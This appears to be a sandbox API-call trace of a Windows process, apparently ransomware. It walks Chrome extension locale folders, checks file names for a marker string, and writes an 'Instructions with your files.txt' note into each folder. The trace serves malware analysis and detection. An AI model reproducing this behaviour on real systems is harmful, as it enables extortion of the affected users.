[0129.631] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.631] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\..") returned 144
[0129.631] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.631] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 155
[0129.631] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.631] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.631] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\Instructions with your files.txt") returned 174
[0129.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.632] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.632] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.633] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.633] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.633] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.633] CloseHandle (hObject=0x134) returned 1
[0129.633] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.633] GetProcessHeap () returned 0x810000
[0129.633] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.633] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0129.633] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs") returned 141
[0129.633] GetProcessHeap () returned 0x810000
[0129.633] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.633] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*") returned 143
[0129.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.633] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\.") returned 143
[0129.633] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.634] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\..") returned 144
[0129.634] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.634] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 155
[0129.634] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.634] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.634] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\Instructions with your files.txt") returned 174
[0129.634] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.634] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.635] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.635] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.635] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.635] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.635] CloseHandle (hObject=0x134) returned 1
[0129.635] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.635] GetProcessHeap () returned 0x810000
[0129.635] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.636] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0129.636] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da") returned 141
[0129.636] GetProcessHeap () returned 0x810000
[0129.636] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.636] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*") returned 143
[0129.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.637] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\.") returned 143
[0129.637] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.637] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\..") returned 144
[0129.637] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.637] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 155
[0129.637] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.637] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.637] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\Instructions with your files.txt") returned 174
[0129.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.637] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.638] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.638] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.638] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.638] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.639] CloseHandle (hObject=0x134) returned 1
[0129.639] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.639] GetProcessHeap () returned 0x810000
[0129.639] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.639] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0129.639] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de") returned 141
[0129.639] GetProcessHeap () returned 0x810000
[0129.639] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.639] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*") returned 143
[0129.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.639] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\.") returned 143
[0129.639] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.639] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\..") returned 144
[0129.639] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.639] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 155
[0129.639] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.639] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.639] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\Instructions with your files.txt") returned 174
[0129.639] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.640] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.641] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.641] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
